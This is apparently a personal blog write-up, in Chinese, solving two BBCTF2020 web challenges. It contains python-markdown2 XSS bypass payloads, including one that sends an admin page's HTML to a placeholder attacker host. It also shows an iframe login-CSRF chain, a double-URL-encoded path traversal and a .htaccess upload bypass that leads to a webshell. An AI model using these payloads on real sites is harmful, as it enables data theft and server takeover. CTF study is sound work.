BBCTF2020

2020-04-24 15:04:00
ctf - wp - bbctf

前几周的,高质量比赛,题目有点思路但做不出来,有空了复现一波

notebook

题目给了源码,根据server.py发现flag放在管理员的notebook中,然后还发现一行代码给了挺关键的提示

这道题思路很好,xss,然后站内又有一个表单可以填,那么应该是存在有绕过python-markdown2进行xss的payload作者才敢这么出题。

马后炮表示google一搜就有了。。

https://github.com/trentm/python-markdown2/issues/341

有两个payload:

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

<ftp:[<script>alert(1);//]()><ftp:[</script>]()>

那么接下来要让管理员看到这个xss,结合发链接给管理员访问,并且根据代码:

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

可以看到,这里用的是get方式获取username和password,而且一旦登录就会跳转到profile,即存在我们xss的页面,因此下面思路很明了,就是让管理员访问如下页面:

http://xxxx/?username=hhhm&password=a123456,

但是光访问这个页面不够,因为管理员账户需要先退出,但管理员账户退出了就无法获取到他的flag了,那么我们可以通过在管理员访问页面添加两个iframe,第一个iframe加载时会先把flag也加载出来,第二个iframe则是存在xss的页面,xss将管理员的iframe抓下来发到服务器上。

写在markdown上的xss:

<http://g<!s://q?<!-<[<script>location.href='http://<ip>/?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

写在目标页面的内容

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "http://xxx/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);
    sleep(3000);
    var logoutframe = document.createElement("iframe");
    logoutframe.src = "http://xxx/logout";
    body.appendChild(logoutframe);
    sleep(3000);
    var loginframe = document.createElement("iframe");
    loginframe.src = "http://xxx/login?username=hhhm&password=a123456";
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

之后nc监听地址,发送目标地址过去就能收到base64的html码,解码即可getflag。

imgaccess2

图片上传,fuzz一下发现只允许上传图片,但内容没做限制,看回显发现是nginx服务器,上传图片后发现路径被加密了 ,往上回溯一层发现显示如下:

并且,在burpsuite中尝试修改文件名或者是文件内容,都会发现这上层路径不会变化,猜测上一层为ip进行md5,接下来尝试访问图片上级路径会发现报了个500的错误,这里直接截取Y1ng师傅博客中的原话:

在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500

这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是/uploads/:path这样的

https://www.gem-love.com/ctf/2254.html

这里在上传文件的路径构成是这样的:

/uploads/md5(ip)/filename

因此源代码构成可能使用os.path.join进行拼接路径,那么这里也许可以直接使用../读到任意文件。但尝试发现不可,这里的绕过需要进行二次url编码。

/uploads/%25%32%65%25%32%65%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

读app.py源码:

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]

    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
    return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
    app.run(port=5000)

最后一个uploads函数使用send_file函数将我们的文件发至处理静态文件的apache服务器配置的目录下,尝试将我们图片路径的/upload替换为/uploads_apache后访问发现成功。

既然是apache,那就可以上传htaccses来绕过,注意到上传文件会先经过allowed_file,再经过secure_filename。

也就是说扩展名只能在{'png', 'jpg', 's'}三选一,这里给了个s,提供了绕过的条件。

看看allowed_file,会分割文件的最后一个.然后去文件后缀,因此我们文件后缀必须为.s

再看看secure_filename,会把..或者/替换为空,也就是说我们的文件可以改为.htacces..s

本地测试一下:

测试成功,尝试上传:

可以看到成功上传了,接下来上传个图片马就行啦。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号